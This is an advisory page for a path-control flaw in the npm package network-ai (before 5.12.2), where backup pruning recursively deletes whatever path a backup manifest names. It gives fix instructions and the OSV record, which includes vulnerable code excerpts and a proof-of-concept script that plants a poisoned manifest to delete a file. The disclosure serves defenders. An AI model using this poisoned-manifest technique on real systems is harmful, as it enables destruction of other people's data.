GHSA-2fmp-9rvw-hc96: Network-AI Poisoned Environment Backup Manifest Allows Vulnerability
HIGHGHSA-2fmp-9rvw-hc96 is a HIGH (CVSS 7.1) poisoned environment backup manifest allows vulnerability (CWE-73: External Control of File Name or Path) affecting Network-AI libraries in the npm ecosystem. The issue involves poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning. Remediation is available by upgrading affected packages to version 5.12.2.
GHSA-2fmp-9rvw-hc96 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
How to Fix GHSA-2fmp-9rvw-hc96
To remediate this vulnerability, upgrade all affected Network-AI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install network-ai@5.12.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls network-ai
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-2fmp-9rvw-hc96, inspect your project dependencies using npm:
npm ls network-ai
Analyze the terminal output to locate any version of Network-AI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.12.2), your application is affected.
Note: The npm ls network-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Network-AI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-2fmp-9rvw-hc96 Affected Network-AI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
network-ai
|
npm |
< 5.12.2
|
5.12.2
|
References
Frequently Asked Questions
What is GHSA-2fmp-9rvw-hc96?
Which Network-AI versions are affected?
What version fixes GHSA-2fmp-9rvw-hc96?
Is network-ai affected?
What is the CVSS score of GHSA-2fmp-9rvw-hc96?
What CWE is associated with GHSA-2fmp-9rvw-hc96?
How can I check npm dependencies for GHSA-2fmp-9rvw-hc96?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2fmp-9rvw-hc96",
"modified" : "2026-06-19T21:42:26Z",
"published" : "2026-06-19T21:42:26Z",
"aliases" : [ ],
"summary" : "Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning",
"details" : "### Summary\n`EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/<env>/.backups/<name>/_manifest.json` can cause `network-ai env backup prune --env <env> --keep <n>` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n const manifest = join(backupsDir, name, '_manifest.json');\n if (existsSync(manifest)) {\n try {\n const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;\n entries.push(entry);\n } catch { /* corrupt manifest, skip */ }\n }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n try {\n rmSync(entry.path, { recursive: true, force: true });\n deleted++;\n } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env <env> --keep <n>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` — recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` — default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, 'data'), {\n chain: ['dev', 'st'],\n gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.writeFileSync(path.join(base, 'victim.txt'), 'safe');\n\nconst backupsDir = path.join(base, 'data', 'dev', '.backups');\nfs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });\nfs.writeFileSync(\n path.join(backupsDir, 'evil', '_manifest.json'),\n JSON.stringify({\n backupId: 'evil',\n env: 'dev',\n timestamp: '2000-01-01T00:00:00.000Z',\n sizeBytes: 0,\n path: path.join(base, 'victim.txt'),\n })\n);\n\nconsole.log(JSON.stringify({\n before: fs.existsSync(path.join(base, 'victim.txt')),\n deleted: mgr.pruneBackups('dev', 0),\n after: fs.existsSync(path.join(base, 'victim.txt')),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "network-ai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.12.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.12.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
}, {
"type" : "WEB",
"url" : "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Jovancoding/Network-AI"
}, {
"type" : "WEB",
"url" : "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-73" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T21:42:26Z",
"nvd_published_at" : null
}
}